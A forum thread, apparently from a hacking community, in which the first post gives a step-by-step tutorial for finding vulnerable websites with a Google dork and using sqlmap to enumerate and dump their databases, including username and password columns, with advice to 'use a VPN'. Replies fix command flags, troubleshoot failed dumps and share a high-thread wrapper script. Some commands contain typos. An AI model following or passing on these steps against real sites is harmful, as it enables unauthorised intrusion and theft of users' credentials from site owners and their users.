[_Valor]

READ: This is my very first post on HF. Sorry if it is LQ, overdone, or confusing. 😉

Hello everyone! My name is _Valor(Valor), and today I'm going to be teaching you how to use SQL Map to hack into the database of a website.

Q. What is an "SQL Injection"?
A. An SQL Injection is an injection of malicious code used to grab information on a website. It uses security flaws to send SQL(Structured Query Language) statements to send information to an individual.

Things needed:
1. An internet connection.
2. A basic understanding of computers/command prompt.
3. A brain

First step:
-Download Python 2.7.9.
Go through the setup, and make sure you know where the installation folder is.
-Download SQL Map.
Save it to your desktop, or a place where you have quick access to the folder.

Second step:
-Rename the SQL Map folder to just "SQLMap", drag it into the Python installation folder. Drag the entire folder, not the contents.

Third step:
-Make a shortcut on your desktop with the "File location" as "cmd". Name it SQLMap.

Fourth step:
-Right click the new shortcut that was created on your desktop. Go into properties, and change the "Start in" text box to the location of your SQL Map folder(in your Python installation folder). You can edit the rest of the settings(colors, cmd window size, ect) to your liking. Location should look like this: "C:\Python27\SQLMap"

Fifth step:
-Run the shortcut, it should say "C:\Python27\SQLMap>", if not, go back and make sure everything is correct.
-Time to find websites you can inject! For a simple search, go to Google and type "inurl:.php?id=" without the quotes, and you'll be able to find some websites.
-Once you find a website, go to the search bar in the top. Add an apostrophe at the end of the link, if the website pops up with an SQL error, it is a website that is potentially vulnerable. Ex:

Code

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1"

Sixth step:
-Type the following command:

Code

slqmap.py -u website.com/php?id=1 --dbs

-Of course, fill in "website.com/php?id=" with the domain name you found. SQL Map should start doing the work for you, and say:

Code

[INFO] fetching database names
[INFO] the SQL query used returns x entries

-X is a variable that depends on the website you are penetration testing.
There will always be an information_schema database, it has no usernames, passwords, or anything of that nature.

Seventh step:
-If everything went through without error, you're doing good. If there are errors, the website might not be able to be SQL Injected. Once everything goes through without error, it should give you database names(Also, read questions the SQLMap provides about injecting, and answer Y/N accordingly):
-After you get database names, go to the user/admin created one. In my case it would be "raahauges_com_cms".
-Type this command with the name of the database you're getting into in place of "database".

Code

slqmap.py -u website.com/php?id=1 -D database --tables

-This should now give you a list of tables.
-Look through them, and find the one you would like to go deeper into. Should look like this:

Code

[8 tables]
+------+
| gallery     |
| members     |
| news      |
| pages      |
| posters     |
| productions |
| settings    |
| users      |
+------+

Eighth step:
-Find the table you want to look into deeper, and type the following command:

Code

slqmap.py -u website.com/php?id=1 -T table --columns

-Once again, replace "table" with the name of the table you'd like to see the columns of.
-It should display something like this:

Code

[4 columns]
+------+------+
| Column  | Type      |
+------+------+
| date    | date      |
| details | text      |
| id      | int(11)      |
| title   | varchar(255) |
+------+------+

-If it does, continue to next step.

Ninth step:
-Find the column you'd like to dump the information on, this is where you'd see the username and password columns.
-Type the following command:

Code

slqmap.py -u website.com/php?id=1 -T table -U column --dump

-If you'd like to display more than one column at a time, separate the names with commas, no spaces. Ex:

Code

column1,column2 --dump"

Tenth step(Tips):
-It should display the information you're looking for.
-If you don't find what you're looking for, look under different tables.
-If there's more than one database, check both for information you're looking for.

And you're done!🤗
I'm not going to go into detail about what you can do with this information, because I figure you can do that on your own. Good luck, have fun, and use a VPN. Have a good day. 🤝

[Sholay -]

Pretty high quality tutorial!
A few things I found unclear:
Where it says "put the name of the database here", how are we supposed to know the name of it?
Same goes for the table bit.

[Beladonis]

You should tell beginners that the right way of doing SQL injections is manually. Also sometimes there are no error messages but the site is still vulnerable, and sometime only double apostrophe " throw an error message.

Clear and nice tut anyways.

[Obimoto]

You should tell beginners that the right way of doing SQL injections is manually. Also sometimes there are no error messages but the site is still vulnerable, and sometime only double apostrophe " throw an error message.

Clear and nice tut anyways.

I agree. Although sqlmap is a great resource, you should not promote the use of tools before learning the subject. Knowledge is the biggest difference between a hacker and a skid...

Great tutorial! It's just really an sqlmap tut, not really an injection tutorial...

I see this is your first though, so seriously keep it up! Keep trying to make better and better threads, and never stop learning...

[_Valor]

Pretty high quality tutorial!
A few things I found unclear:
Where it says "put the name of the database here", how are we supposed to know the name of it?
Same goes for the table bit.

Once you put in the command, it will say there were db's found. Sorry for not making that clear.

---

I agree. Although sqlmap is a great resource, you should not promote the use of tools before learning the subject. Knowledge is the biggest difference between a hacker and a skid...

Great tutorial! It's just really an sqlmap tut, not really an injection tutorial...

I see this is your first though, so seriously keep it up! Keep trying to make better and better threads, and never stop learning...

Thank you a lot! And yes, it is an SQLMap tutorial, but SQL Map is for injection, so I figured I would broad it out so people who didn't know anything about the subject could look here, and I could open their eyes to a pretty neat tool.

[Grizzel]

Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a sertain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?

[Beladonis]

Do it manually and see if something is wrong (could be a WAF or an empty table for example...)

[_Valor]

Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a sertain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?

You might have put the name in quotes? Make sure you spell the name exactly, and don't put it in quotes.

[Obimoto]

Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a sertain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?

Use -C instead of -U
-U is for enumerating a user...

OP, to enumerate columns you use -C please edit to make more understandable...
Also, haven't tested your method, but I normally do -D (database here) -T (table here) -C (column here) --dump

[ItsCoding]

Nice tutorial :) but where can i find the sql map files ?

[_Valor]

Nice tutorial :) but where can i find the sql map files ?

Google SQL Map, first link. I think it's just like sqlmap(dot)net

[newQuery]

Yo dude, I have tried about 10 vulnerable website tonight, and i couldn't dump any of them, everytime I get :
"do you want to use common column existence check? [y/N/q]" I type "y", and then it ask me :
"please enter number of threads? [Enter for 1 <current>]" I typed "1", and then it start scanning some shit for like 5 minutes, and end by telling me :"[WARNING] no column<s> found [*] shutting down at XX:XX:XX"

Could you add me skype or PM me please ?

[Wqjkdqwdqwd1]

it says it couldnt find slqmap.py,
how can i fix this?

heres a screenshot:

[Arka]

it says it couldnt find slqmap.py,
how can i fix this?

heres a screenshot:

Isn't anybody biting? Poor troll, just poor. ^.^

[Abdilo]

python sqlmap.py -u $1 --threads=$2 --random-agent --dump-format=SQLITE --eta --exclude-sysdbs $3
put that into a .sh file, chmod +x it, then do ./file.sh URL 10 --tables

also edit core/lib/settings.py threads=10 to threads=1000